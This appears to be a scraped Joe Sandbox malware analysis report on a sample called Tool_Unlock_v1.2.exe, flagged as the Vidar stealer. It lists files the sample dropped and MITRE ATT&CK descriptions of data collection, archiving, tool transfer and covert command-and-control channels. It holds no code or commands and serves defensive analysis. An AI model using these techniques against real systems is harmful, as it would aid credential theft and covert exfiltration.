Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Tool_Unlock_v1.2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\U3WBSRQQ9RQQ\0ZC2DB

C:\ProgramData\U3WBSRQQ9RQQ\3ECBI589Z

C:\ProgramData\U3WBSRQQ9RQQ\7G4WBI

C:\ProgramData\U3WBSRQQ9RQQ\FKXTJE

C:\ProgramData\U3WBSRQQ9RQQ\H47GV3E3O

C:\ProgramData\U3WBSRQQ9RQQ\IECT2V

C:\ProgramData\U3WBSRQQ9RQQ\UAIMGD

C:\ProgramData\U3WBSRQQ9RQQ\ZMGDJE

C:\ProgramData\U3WBSRQQ9RQQ\ZMYUKN

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\19218d50-ddfe-4d2d-8ec7-4a60141c9f4e.tmp

Windows Analysis Report
Tool_Unlock_v1.2.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre